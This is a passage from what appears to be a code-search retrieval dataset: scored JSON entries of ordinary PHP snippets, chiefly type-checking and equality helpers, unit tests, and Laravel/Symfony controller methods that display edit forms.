true;\n }\n }\n }\n return false;\n}", "title": "" }, { "docid": "a8c8600e9172a2bb93692c9101a01256", "score": "0.49990356", "text": "function is($type) {\n\n return in_array($type, $this->value);\n\n }", "title": "" }, { "docid": "8e98b5f2462cd4906e6d1d2ad85e2337", "score": "0.49916065", "text": "public function itReturnsOnlyOneIfTwoLinksIdenticalInSubHierarchies() {\n $artifact4 = $this->giveMeAnArtifactWithChildren();\n $artifact3 = $this->giveMeAnArtifactWithChildren($artifact4);\n $artifact2 = $this->giveMeAnArtifactWithChildren();\n $artifact1 = $this->giveMeAnArtifactWithChildren($artifact2, $artifact3);\n \n $field = mock('Tracker_FormElement_Field_ArtifactLink');\n stub($field)->getLinkedArtifacts($this->changeset, $this->user)->returns(array($artifact1, $artifact4));\n stub($field)->userCanRead($this->user)->returns(true);\n stub($this->factory)->getUsedArtifactLinkFields($this->tracker)->returns(array($field));\n \n $expected_result = array($artifact1);\n $this->assertEqual($expected_result, $this->artifact->getUniqueLinkedArtifacts($this->user));\n }", "title": "" }, { "docid": "e76ca44f3b199ea31bf1122aa3d1e69a", "score": "0.49863562", "text": "public function hasType($type);", "title": "" }, { "docid": "e97a64969088ec80304d20880641e7f0", "score": "0.49814627", "text": "public function hasOneOf($items);", "title": "" }, { "docid": "35ece0485b2f6816a62b2e8b81eb3d98", "score": "0.4979014", "text": "public function testGetProductSubscriptionTypesWithProductWithAllTypes()\n {\n $productMock = $this->getModelMock('catalog/product', array('getStoreId', 'getPssSubscriptionType'));\n $productMock->expects($this->any())->method('getPssSubscriptionType')->willReturn(Sheep_Subscription_Helper_Product::PRODUCT_SUBSCRIPTION_TYPES_ALL);\n $productMock->expects($this->once())->method('getStoreId')->willReturn(200);\n\n // subscription types are loaded for product store (200)\n $typeHelper = $this->getHelperMock('sheep_subscription/type', array('getAvailableTypes'));\n $typeHelper->expects($this->once())->method('getAvailableTypes')->with(200)->willReturn('ALL SUBSCRIPTION TYPES');\n $this->replaceByMock('helper', 'sheep_subscription/type', $typeHelper);\n\n $helper = $this->getHelperMock('sheep_subscription/product', array('isSubscriptionProduct'));\n $helper->expects($this->once())->method('isSubscriptionProduct')->with($productMock)->willReturn(true);\n\n $actual = $helper->getProductSubscriptionTypes($productMock);\n $this->assertEquals('ALL SUBSCRIPTION TYPES', $actual);\n }", "title": "" }, { "docid": "65b9706195b118c8dcdf5730e9bb638f", "score": "0.49671885", "text": "function hasSameContent($orderItem) {\n\t\t$parentIsTheSame = parent::hasSameContent($orderItem);\n\t\treturn $parentIsTheSame && $orderItem instanceof ProductVariation_OrderItem;\n\t}", "title": "" }, { "docid": "b9c0245413bb770139802b3aa90f2cc6", "score": "0.495771", "text": "function is_equivalent($id)\r\n {\r\n return(mysql_num_rows(database::query(\"SELECT * FROM entry,parent,linktype WHERE entry.ID=$id and entry.ID=parent.parent and parent.type=linktype.ID and linktype.equiv='1'\")));\r\n }", "title": "" }, { "docid": "3d3d94c7f2509b057e58babebd2e25a9", "score": "0.495042", "text": "protected abstract function GetNestedTypes();", "title": "" }, { "docid": "88efa94bb66dfaf13564e825f1d91733", "score": "0.49328318", "text": "public function hasType() : bool;", "title": "" }, { "docid": "3d688327115805684c6bac0cb89baf3e", "score": "0.49266207", "text": "public function isType($type)\n {\n return $this->type === $type;\n }", "title": "" }, { "docid": "cdd6d8ca0b51c1e1d9efbb9c2cad2601", "score": "0.4924924", "text": "public function canHandleType($type);", "title": "" }, { "docid": "987ddece88c174e2097aa0c97f8d0301", "score": "0.49205893", "text": "public function test_traits_returns_traits_from_parent_classes()\n {\n $this->assertEquals([\n TypeTest_Trait1::class => TypeTest_Trait1::class\n ], Type::traits(TypeTest_TraitTest1_extended::class, true));\n\n $this->assertEquals([\n TypeTest_Trait1::class => TypeTest_Trait1::class\n ], Type::traits(TypeTest_TraitTest1_extended2::class, true));\n\n }", "title": "" }, { "docid": "3fd3d51d5fd2b100278bd6ea756ea750", "score": "0.49045852", "text": "public function hasFolderTypes()\n {\n $this->_load();\n if (isset($this->_data[self::TYPES])) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "c1309a846fe77f8a0bef8d2adee8dfc9", "score": "0.49026194", "text": "public function hasKind(){\n return $this->_has(2);\n }", "title": "" }, { "docid": "9848147dfcdc7df55457139ab6df1a59", "score": "0.48990116", "text": "private function is_equal( $a, $b ){\n\t\t\n\t\tif( !is_array( $a ) ) $a = (array)$a; \n\t\tif( !is_array( $b ) ) $b = (array)$b; \n\t\t\n\t\tif( $a !== $b ) return false; \n\t\t\n\t\t$count_a = count( $a, COUNT_RECURSIVE );\n\t\t$count_b = count( $b, COUNT_RECURSIVE ); \n\t\t\n\t\tif( $count_a != $count_b ) return false; \n\n\t\t//perform a recursive array_diff on the arrays //\n\t\t//this function is a custom function found in includes/functions.php //\n\t\t$diff = abbey_array_diff_recursive($a, $b);\n\t\tif( !empty( $diff ) ) return false;\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "f934b200f1fd935971111a738fe38f66", "score": "0.48915532", "text": "abstract public function sameValueAs(ValueObject $object): bool;", "title": "" }, { "docid": "45f367950157cc90e860fc072e73ddd1", "score": "0.48879865", "text": "public function isType($type)\n {\n return ($this->type == $type);\n }", "title": "" }, { "docid": "dbc9edcd778b714e3d0300038b03ffd0", "score": "0.4870703", "text": "private function isSameTypes(string $expectedType, string $actualType): bool\n {\n $normExpectedType = ltrim($expectedType, \"\\\\\");\n $normActualType = ltrim($actualType, \"\\\\\");\n\n return $normExpectedType === $normActualType || $this->isSameScalarTypes($normExpectedType, $normActualType);\n }", "title": "" }, { "docid": "5163168c82ca7dca255e142c5f0f4223", "score": "0.48654947", "text": "public function isSubclassOf ($class) {}", "title": "" }, { "docid": "16a4dbefaa01ceffa5c086b7835dc010", "score": "0.48606506", "text": "public static function is_subarray(array $arr1, array $arr2)\n {\n\n $arr2 = array_flip($arr2);\n foreach ($arr1 as $item) {\n if (!isset($arr2[$item])) {\n return false;\n }\n }\n return true;\n\n /*$diff=array_diff($arr1,$arr2);\n return !empty($diff)?false:true;*/\n }", "title": "" }, { "docid": "1051b7cc77cd083542396466cda3ed18", "score": "0.48560348", "text": "public function getEntitySubtype();", "title": "" }, { "docid": "639817643301bec7a8785dfe4dce89aa", "score": "0.48529533", "text": "public function isShared($type);", "title": "" }, { "docid": "21aad2ad15cf0a18db74a865fe87c26d", "score": "0.4846148", "text": "function TestIsChild($object)\n\t{\n\t\t$attribute_types = $object->pog_attribute_type;\n\t\tforeach ($attribute_types as $attribute_array)\n\t\t{\n\t\t\tif ($attribute_array['db_attributes'][1] == \"BELONGSTO\")\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "f97298e7461bc6ba6f7daf0f280e9bd9", "score": "0.48449314", "text": "public function typeArbitrary();", "title": "" }, { "docid": "92820111694da3a5e289bff2a2ff27fc", "score": "0.48366702", "text": "private function isSubtrace($trace1, $trace2) \r\n {\r\n $len1 = count($trace1);\r\n $len2 = count($trace2);\r\n if ($len1 > $len2) {\r\n return false;\r\n }\r\n for ($i=0; $i<$len1; $i++) {\r\n if ($trace1[$len1-1-$i] !== $trace2[$len2-1-$i]) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "title": "" }, { "docid": "aa6c9e631b7e1b9c3ef6057611b0bed7", "score": "0.48307955", "text": "public function testSimpleTypeElementWhenAddedToRedefineElement(): void\n {\n $parent = new RedefineElement();\n $parent->addSimpleTypeElement($this->sut);\n self::assertTrue($this->sut->hasParent());\n self::assertSame($parent, $this->sut->getParent());\n }", "title": "" }, { "docid": "6b172379596297cdcdd2d45b0661abcb", "score": "0.48264498", "text": "public function weaklyOverlaps(Type $other, CodeBase $code_base): bool\n {\n // TODO: Finish implementing, check if types are compatible when both are non-null, check for object vs non-object\n return ($this->isPossiblyFalsey() && $other->isPossiblyFalsey()) ||\n $this->canCastToDeclaredType($code_base, new Context(), $other);\n }", "title": "" }, { "docid": "1f8937315be584e723b10cc6bbad4e5a", "score": "0.48246968", "text": "public function isConcrete();", "title": "" }, { "docid": "1138acc5a51a3032870f010ef5a6721b", "score": "0.4820739", "text": "public function testDuplicate()\n {\n $this->duplicate(\n [\n 'designMenuModel' => [\n 'containerDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'firstLevelDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'firstLevelDesignTextModel' => [\n 'size' => 10\n ],\n 'secondLevelDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'secondLevelDesignTextModel' => [\n 'size' => 10\n ],\n 'lastLevelDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'lastLevelDesignTextModel' => [\n 'size' => 10\n ],\n ],\n 'type' => 1,\n ],\n [\n 'designMenuModel' => [\n 'containerDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'firstLevelDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'firstLevelDesignTextModel' => [\n 'size' => 10\n ],\n 'secondLevelDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'secondLevelDesignTextModel' => [\n 'size' => 10\n ],\n 'lastLevelDesignBlockModel' => [\n 'marginTop' => 10\n ],\n 'lastLevelDesignTextModel' => [\n 'size' => 10\n ],\n ],\n 'type' => 1,\n ]\n );\n }", "title": "" }, { "docid": "0a5307e1f4218c037b01b44e71ffb82b", "score": "0.48002002", "text": "public function canExtendTypeForName(string $typeName, MutableObjectType $type, RecursiveTypeMapperInterface $recursiveTypeMapper): bool\n {\n $typeClassNames = $this->getExtendTypesFromCacheByGraphQLTypeName($typeName);\n\n if ($typeClassNames !== null) {\n return true;\n }\n\n /*$factory = $this->getFactoryFromCacheByGraphQLInputTypeName($typeName);\n if ($factory !== null) {\n return true;\n }*/\n\n $map = $this->getMapNameToExtendType($recursiveTypeMapper);\n\n return isset($map[$typeName])/* || isset($this->mapInputNameToFactory[$typeName]) */;\n }", "title": "" }, { "docid": "b8ee5a19e67aa28b0ce5b9ada8e4b8b0", "score": "0.47974437", "text": "function relationship_same_type_exists( $p_src_bug_id, $p_dest_bug_id, $p_rel_type ) {\n\t# Check if there is already a relationship set between them\n\t$t_id_relationship = relationship_exists( $p_src_bug_id, $p_dest_bug_id );\n\n\tif( $t_id_relationship > 0 ) {\n\t\t# if there is...\n\t\t# get all the relationship info\n\t\t$t_relationship = relationship_get( $t_id_relationship );\n\n\t\tif( $t_relationship->src_bug_id == $p_src_bug_id && $t_relationship->dest_bug_id == $p_dest_bug_id ) {\n\t\t\tif( $t_relationship->type == $p_rel_type ) {\n\t\t\t\t$t_id_relationship = -1;\n\t\t\t}\n\t\t} else {\n\t\t\tif( $t_relationship->type == relationship_get_complementary_type( $p_rel_type ) ) {\n\t\t\t\t$t_id_relationship = -1;\n\t\t\t}\n\t\t}\n\t}\n\treturn $t_id_relationship;\n}", "title": "" }, { "docid": "53eb3870457c41667ed7c708f5b49290", "score": "0.47942418", "text": "public function test_instanceOf() {\n\t\t\t//$this->markTestIncomplete();\n\n\t\t\t$p0 = new IRatio\\Type(IInt32\\Type::one(), IInt32\\Type::box(2));\n\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Data\\\\IRatio\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Data\\\\IFractional\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Data\\\\INumber\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Data\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Core\\\\Equality\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Core\\\\Comparable\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Core\\\\Boxable\\\\Type', $p0);\n\t\t\t$this->assertInstanceOf('\\\\JsonSerializable', $p0);\n\t\t\t$this->assertInstanceOf('\\\\Saber\\\\Core\\\\Type', $p0);\n\t\t}", "title": "" }, { "docid": "923a186595d654ab4944b551b8d3a766", "score": "0.47936463", "text": "public function getSubtype();", "title": "" }, { "docid": "22066238ecd3b6adf73e58181abaad4f", "score": "0.47923857", "text": "public function isArrayOrArrayAccessSubType(CodeBase $code_base): bool\n {\n return $this->isArrayAccess($code_base);\n }", "title": "" }, { "docid": "2db5145729e495043306adf22e42313f", "score": "0.47905174", "text": "function checkUncombinables($obj){\n\t\tif (is_array($obj)){\n\t\t\tforeach ($obj as $item)\n\t\t\t\tif (preg_match(\"/inherit|\\!important|\\s/i\", $item))\n\t\t\t\t\treturn true;\n\t\t\treturn false;\n\t\t}else{\n\t\t\treturn preg_match(\"/inherit|\\!important|\\s/i\", $obj);\n\t\t}\n\t}", "title": "" }, { "docid": "84685d3273845a55c98a4fa10ea6807c", "score": "0.47852802", "text": "function meta_box_find_field_type( $needle, $haystack ) {\r\n\tforeach ( $haystack as $h )\r\n\t\tif ( isset( $h['type'] ) && $h['type'] == 'repeatable' )\r\n\t\t\treturn meta_box_find_field_type( $needle, $h['repeatable_fields'] );\r\n\t\telseif ( ( isset( $h['type'] ) && $h['type'] == $needle ) || ( isset( $h['repeatable_type'] ) && $h['repeatable_type'] == $needle ) )\r\n\t\t\treturn true;\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "d3e65974b01bb84f1d2fe1bee6a3930c", "score": "0.47846115", "text": "public function testSubSelectDiscriminator(): void\n {\n $this->assertSqlGeneration(\n 'SELECT u.name, (SELECT COUNT(cfc.id) total FROM Doctrine\\Tests\\Models\\Company\\CompanyFixContract cfc) as cfc_count FROM Doctrine\\Tests\\Models\\CMS\\CmsUser u',\n \"SELECT c0_.name AS name_0, (SELECT COUNT(c1_.id) AS sclr_2 FROM company_contracts c1_ WHERE c1_.discr IN ('fix')) AS sclr_1 FROM cms_users c0_\"\n );\n }", "title": "" }, { "docid": "fda807c38344467f6b1afb3ea83d3957", "score": "0.47733602", "text": "public function checkIfIsAlowedType($type)\n {\n return boolval(in_array($type, $this->reactableTypes));\n }", "title": "" }, { "docid": "d63baf131e090a2998521a62b31a1607", "score": "0.4773031", "text": "public function testInheritance()\n {\n $new_dog = new Model\\Dog;\n // the object should be an instance of the derived class\n $this->assertInstanceOf('Swagger\\Client\\Model\\Dog', $new_dog);\n // the object should also be an instance of the parent class\n $this->assertInstanceOf('Swagger\\Client\\Model\\Animal', $new_dog);\n }", "title": "" }, { "docid": "8ba484ca16b827b6999f8fdf1364e977", "score": "0.47709993", "text": "abstract protected function getType();", "title": "" }, { "docid": "8ba484ca16b827b6999f8fdf1364e977", "score": "0.47709993", "text": "abstract protected function getType();", "title": "" }, { "docid": "8ba484ca16b827b6999f8fdf1364e977", "score": "0.47709993", "text": "abstract protected function getType();", "title": "" }, { "docid": "308c052c6087276ffd619bff92505473", "score": "0.4768153", "text": "public function testTypeClassesAreNotAbstract()\n {\n $this->assertFalse($this->writer_reflection->isAbstract());\n $this->assertFalse($this->book_reflection->isAbstract());\n $this->assertFalse($this->chapter_reflection->isAbstract());\n }", "title": "" }, { "docid": "a574dc93ca70862ed371ab45c6102868", "score": "0.47619325", "text": "private static function checkInstanceIntegrity(self $config): bool\n\t{\n\t\treturn (\n\t\t\tis_int($config->srcEntityTypeID)\n\t\t\t&& ($config->srcEntityTypeID > 0)\n\t\t);\n\t}", "title": "" }, { "docid": "cc04b6097ae1dc2a76680f85282c8832", "score": "0.4755455", "text": "public function _isWrapperType()\n {\n return $this->getElement() instanceof Zend_Form ||\n $this->getElement() instanceof Zend_Form_SubForm ||\n $this->getElement() instanceof Zend_Form_DisplayGroup;\n }", "title": "" }, { "docid": "1cb6b8dd0b600a7a93080c2c6d0a8b4c", "score": "0.47545627", "text": "function isValidParentType($a_parent_type) {\n if ($a_parent_type == 'cont') {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "8746715efbd14204c3299af39a035625", "score": "0.47516122", "text": "function checkType($uType, $pMType){\r\n\t\t$u = str_split($uType);\r\n\t\t$p = str_split($pMType);\r\n\t\tfor($i = 0; $i < 4; $i++){\r\n\t\t\tif($u[$i] == $p[$i]){\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn false;\r\n\t}", "title": "" } ]
313ff7705d4e87750b2cd162f3a73639
Show the form for editing the specified resource.
[ { "docid": "55a3b9ef52fb4548b1e9f108e34e7fc8", "score": "0.0", "text": "public function edit($id)\n {\n //\n $accountTitle = $this->getAccountTitles($id);\n $accountGroupList = $this->getAccountTitleGroup($accountTitle->account_group_id);\n return view('accountTitles.edit_account_title',\n compact('accountGroupList',\n 'accountTitle'));\n }", "title": "" } ]
[ { "docid": "c77fbba2f7b7f5018f4471f75871b57a", "score": "0.7797669", "text": "public function edit(Resource $resource)\n {\n return view(\n 'resources.edit', \n [\n 'resource' => $resource\n ]\n );\n }", "title": "" }, { "docid": "db43c1b18be99950bb3f9c2cbd415bc6", "score": "0.7793358", "text": "public function edit(AdminResource $resource)\n {\n $form = $resource->getForm();\n\n return view('admin::resource.form', compact('form'));\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.7692893", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "4542545c78c16f483a8652d72eafdb22", "score": "0.7300747", "text": "public function edit(Request $request, Resource $resource)\n {\n return view('admin.library.edit', ['resource' => $resource]);\n }", "title": "" }, { "docid": "cdb0c72e88e0cd40f702a7e0769d3dbc", "score": "0.7023003", "text": "public function editAction()\n {\n $model_sites = new Dlayer_Model_Admin_Site();\n $model_forms = new Dlayer_Model_Admin_Form();\n\n $form_id = $this->session->formId();\n\n $this->form = new Dlayer_Form_Admin_Form(\n '/form/admin/edit',\n $this->site_id,\n $form_id,\n $model_forms->form($this->site_id, $form_id)\n );\n\n if ($this->getRequest()->isPost()) {\n $this->processEditForm($form_id);\n }\n\n $this->view->form = $this->form;\n $this->view->site = $model_sites->site($this->site_id);\n\n $this->controlBar($this->identity_id, $this->site_id);\n\n $this->_helper->setLayoutProperties($this->nav_bar_items, '/form/index/index', array('css/dlayer.css'),\n array(), 'Dlayer.com - Form Builder: Edit form');\n }", "title": "" }, { "docid": "c86b96c430fde96edc13f0bccf177065", "score": "0.698582", "text": "public function edit($id)\n\t{\n\t\t$model = SysFormManager::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysFormManagerForm', [\n \t'method' => 'POST',\n \t'url' => 'formmanager/update/'.$id,\n \t'model' => $model,\n \t'data' => [ 'application_id' => $model->application_id, 'step_id' => $model->step_id]\n \t]);\n\n\t\treturn View::make('dynaflow::formmanager.form', compact('form'));\n\t}", "title": "" }, { "docid": "e1f6c8bbf70801460cd094cb6a4634b9", "score": "0.6975506", "text": "public function edit()\n {\n return view('hr::edit');\n }", "title": "" }, { "docid": "e1f6c8bbf70801460cd094cb6a4634b9", "score": "0.6975506", "text": "public function edit()\n {\n return view('hr::edit');\n }", "title": "" }, { "docid": "173dff453a2dbb6b5aedb73f8e254fb0", "score": "0.6961437", "text": "public function edit()\n {\n return view('essentials::edit');\n }", "title": "" }, { "docid": "8752e31183da5b119420c8530e71385c", "score": "0.6952674", "text": "public function edit() {\n \n $location = $this->location_model->get_by_id($this->input->get('id'));\n if (!is_null($location)) {\n echo $this->load->view('location/edit_form', array(\n 'id' =>$location->id,\n 'name' => $location->name,\n 'address' => $location->address,\n 'email_text' => $location->email_text,\n 'uses_media_release_form' => filter_var($location->uses_media_release_form, FILTER_VALIDATE_BOOLEAN),\n 'media_release_form' => $location->media_release_form\n ), TRUE);\n }\n else {\n echo show_404('The resource you requested was not found');\n } \n }", "title": "" }, { "docid": "38b4c2bcc5d6f933f82442e502068ae3", "score": "0.6945275", "text": "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "title": "" }, { "docid": "38b4c2bcc5d6f933f82442e502068ae3", "score": "0.6945275", "text": "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "title": "" }, { "docid": "6b19c8e6c551a197ec3ab4f37c14849e", "score": "0.6921672", "text": "public function Edit()\n {\n $this->routeAuth();\n\n $this->standardAction('Edit');\n }", "title": "" }, { "docid": "6b19c8e6c551a197ec3ab4f37c14849e", "score": "0.6921672", "text": "public function Edit()\n {\n $this->routeAuth();\n\n $this->standardAction('Edit');\n }", "title": "" }, { "docid": "9573646f833f8b11dd153b969f5d7e4f", "score": "0.6915018", "text": "public function edit($id)\n {\n $record = $this->getResourceModel()::findOrFail($id);\n\n $this->authorize('update', $record);\n\n return view($this->getResourceEditPath(), $this->filterEditViewData($record, [\n 'record' => $record,\n ] + $this->resourceData()));\n }", "title": "" }, { "docid": "901ccd53ce97c5a7d1966359f57043a4", "score": "0.69117606", "text": "public function edit()\n {\n return view('inpatient::edit');\n }", "title": "" }, { "docid": "901ccd53ce97c5a7d1966359f57043a4", "score": "0.69117606", "text": "public function edit()\n {\n return view('inpatient::edit');\n }", "title": "" }, { "docid": "db1e0913d8253a53ad2045f953f50ec9", "score": "0.6907713", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('keltanasTrackingBundle:Form')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Form entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('keltanasTrackingBundle:Form:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "51b60bf88d430359fa7d26fcaa184bf2", "score": "0.69027346", "text": "public function edit($id)\n {\n $record = $this->model->findOrFail($id);\n\n $this->viewData['record'] = $record;\n\n $this->viewData['formMethod'] = 'PUT';\n $this->viewData['formAction'] = 'role.update';\n\n return view($this->defaultFormView, $this->viewData);\n }", "title": "" }, { "docid": "442f0c0607d600b71f651788512fa4e2", "score": "0.68972987", "text": "public function edit()\n {\n return view('backend::edit');\n }", "title": "" }, { "docid": "7f842cbf2ce0ed69cfa4cf6d9407235b", "score": "0.6890337", "text": "public function editAction()\n {\n $em = $this->getDoctrine()->getManager();\n $entity = $em->getRepository('CaiWebBundle:Contacto')->find(1);\n $editForm = $this->createEditForm($entity);\n return $this->render('CaiWebBundle:Contacto:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView()\n ));\n }", "title": "" }, { "docid": "ecf00d3f89afc53c8a54e339de3f7789", "score": "0.68822354", "text": "public function edit($id)\n\t{\n\t\t$professor = Professor::with('endereco')->find($id);\n\n\t\t// show the edit form and pass the professor\n\t\t$this->layout->content = View::make('professor.edit', compact('professor'));\n\t}", "title": "" }, { "docid": "f8bf1d45abb1e3528851c8a71f1abff7", "score": "0.68685776", "text": "public function showEditEntry()\n {\n $id = $this->request->get('id');\n\n $entry = $this->entries->byId($id);\n\n if (!$entry || $entry['user_id'] != $this->users->getCurrentUser()['id']) {\n // Got no valid ID, let's show the new entry form instead\n return null;\n }\n\n return $this->views->render('partials/entry-form', [\n 'action' => '/entry/update',\n 'title' => 'Edit your entry',\n 'id' => $id,\n 'body' => $entry['entry'],\n ]);\n }", "title": "" }, { "docid": "4dfc241f10da4ecce3a8ed5df671a0d1", "score": "0.6859945", "text": "public function edit()\n {\n return view('adminmodule::edit');\n }", "title": "" }, { "docid": "b5ba0995ddaba8cdf21be8b65b884d91", "score": "0.68566346", "text": "public function edit()\n {\n return view('hm::edit');\n }", "title": "" }, { "docid": "b5ba0995ddaba8cdf21be8b65b884d91", "score": "0.68566346", "text": "public function edit()\n {\n return view('hm::edit');\n }", "title": "" }, { "docid": "13c4203d32c70794e7fa65360126b2a8", "score": "0.6835437", "text": "public function editForm()\n {\n $this->pageTitle = \"Edition d'une question\";\n\n //initialisation des selects list\n $this->initSelectList();\n\n //recupération de la liste des diapos\n // $DiapModel = new \\Models\\Diap();\n $this->tplVars = $this->tplVars + [\n 'list' => $this->model->findQuestionById(intval($_GET['id']))\n ];\n\n parent::editForm();\n }", "title": "" }, { "docid": "adf61d4898780a2aa20a30a370bf081a", "score": "0.68262005", "text": "public function edit()\n {\n return view('backend.student.edit-student');\n }", "title": "" }, { "docid": "3372ef1cca9be765c71b7e1a923b6a90", "score": "0.6819939", "text": "public function editAction()\n {\n $command = $this->determineCommand();\n\n return parent::edit(\n $this->formClass,\n $this->itemDto,\n new GenericItem($this->itemParams),\n $command,\n $this->mapperClass,\n $this->editViewTemplate,\n $this->editSuccessMessage,\n $this->editContentTitle\n );\n }", "title": "" }, { "docid": "09bc92e7496673078d971abc033ed6e3", "score": "0.6818449", "text": "public function edit(FormBuilder $formBuilder, $id)\n {\n $this->checkAccess('edit');\n $model = $this->model->find($id);\n\n $form = $formBuilder->create($this->form, [\n 'method' => 'PUT',\n 'url' => route($this->url . '.update', $id),\n 'model' => $model\n ]);\n\n return view($this->folder . '.form', [\n 'title' => $this->title,\n 'form' => $form,\n 'row' => $model,\n 'breadcrumb' => 'new-' . $this->url\n ]);\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.68047357", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.68047357", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "c526ad3c763ee29db74bb4c3f3f52b67", "score": "0.6804702", "text": "public function edit($id)\n {\n $crud = crud_entry(\\App\\Employee::findOrFail($id));\n\n return view('crud::scaffold.bootstrap3-form', ['crud' => $crud]);\n }", "title": "" }, { "docid": "b2548057b424e6a5cacb6db19ee658ae", "score": "0.68022823", "text": "public function edit()\n {\n return view('api::edit');\n }", "title": "" }, { "docid": "8dbc4c95d40c6dfa50e357491b0a9faf", "score": "0.6798952", "text": "public function fieldEditAction() {\n parent::fieldEditAction();\n\n //GENERATE FORM\n $form = $this->view->form;\n\n if ($form) {\n\n $form->setTitle('Edit Profile Question');\n $form->removeElement('show');\n $form->addElement('hidden', 'show', array('value' => 0));\n $display = $form->getElement('display');\n $display->setLabel('Show on profile page?');\n\n $display->setOptions(array('multiOptions' => array(\n 1 => 'Show on profile page',\n 0 => 'Hide on profile page'\n )));\n\n $search = $form->getElement('search');\n $search->setLabel('Show on the search options?');\n\n $search->setOptions(array('multiOptions' => array(\n 0 => 'Hide on the search options',\n 1 => 'Show on the search options'\n )));\n }\n }", "title": "" }, { "docid": "4087a9ccdc917123a199f319773aca51", "score": "0.67941463", "text": "public function edit($id)\n {\n $class = $this->model_class;\n $this->data['object'] = $class::find($id);\n\n return View(\"$his->view_folder.form\" , $this->data);\n }", "title": "" }, { "docid": "a73ca49bf4104fffbbb3887f1d83346f", "score": "0.6787701", "text": "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "title": "" }, { "docid": "6f369193d74b243d60195f45f4014a7d", "score": "0.67852414", "text": "public function edit()\n {\n return view('quanlymua::edit');\n }", "title": "" }, { "docid": "14492a7ddf825dfc7ae7f6d4686195bb", "score": "0.676403", "text": "protected function edit()\r\n\t{\r\n\t\tglobal $tpl, $ilTabs, $ilCtrl, $lng;\r\n\t\t\r\n\t\t$ilTabs->clearTargets();\r\n\t\t$ilCtrl->setParameter($this, \"prt_id\", \"\");\r\n\t\t$ilTabs->setBackTarget($lng->txt(\"back\"),\r\n\t\t\t$ilCtrl->getLinkTarget($this, \"show\"));\r\n\t\t$ilCtrl->setParameter($this, \"prt_id\", $this->portfolio->getId());\r\n\t\t\r\n\t\t$this->setPagesTabs();\r\n\t\t$ilTabs->activateTab(\"edit\");\r\n\r\n\t\t$form = $this->initForm(\"edit\");\r\n\r\n\t\t$tpl->setContent($form->getHTML());\r\n\t}", "title": "" }, { "docid": "ec74296c4873a04773215f9df3ec56e8", "score": "0.6763203", "text": "public function edit()\n {\n return view('product::edit');\n }", "title": "" }, { "docid": "1ea4682e5ca05d82dc786fe9356d4f95", "score": "0.6761149", "text": "public function edit($id)\n {\n $employee = Employee::find($id);\n\n return view('admin.employee.form', [\n 'agent_info' => $employee->agent_info,\n 'block' => false,\n 'employee' => $employee,\n 'user' => $employee->user,\n ]);\n }", "title": "" }, { "docid": "2708ee4c450702f89df90f787e1addda", "score": "0.67608804", "text": "public function edit($id)\n {\n $model = $this->model->findOrFail($id);\n return view('pages.admin.graha.form', compact('model'));\n }", "title": "" }, { "docid": "5bf37156a011a54f8d1f89ba96911864", "score": "0.67593914", "text": "public function edit(Form $form)\n {\n return view('forms.edit',compact('form'));\n }", "title": "" }, { "docid": "273983aa73422180d99093ef71b2ad93", "score": "0.6755174", "text": "public function edit()\n {\n return view('pembayaranspp::edit');\n }", "title": "" }, { "docid": "de59ebe43d3ccd460af8c204a2ce504f", "score": "0.674883", "text": "public function editAction()\n {\n# $page = $this->_helper->db->findById();\n# $this->view->form = $this->_getForm($page);\n# $this->_processPageForm($page, 'edit');\n }", "title": "" }, { "docid": "2895169fb35860c9a4a9caa42b6a0a87", "score": "0.6742777", "text": "public function edit($id)\n {\n\t\t$d['data'] = Product::find($id);\n\t\t$d['action'] = route('product.update', $id);\n\t\treturn view('back.pages.product.form', $d);\n }", "title": "" }, { "docid": "410a32c4c0c0b87110b23893e0b9b8af", "score": "0.6741837", "text": "public function edit()\n {\n return view('designmodel::edit');\n }", "title": "" }, { "docid": "550b8c0565e8d9d85d89dd1064a7c513", "score": "0.6727721", "text": "public function edit()\n {\n return view('americano::edit');\n }", "title": "" }, { "docid": "36e81b336316946d6eebd6bc3678ef52", "score": "0.67227334", "text": "public function edit($id)\r\n {\r\n return view('superadmin::edit');\r\n }", "title": "" }, { "docid": 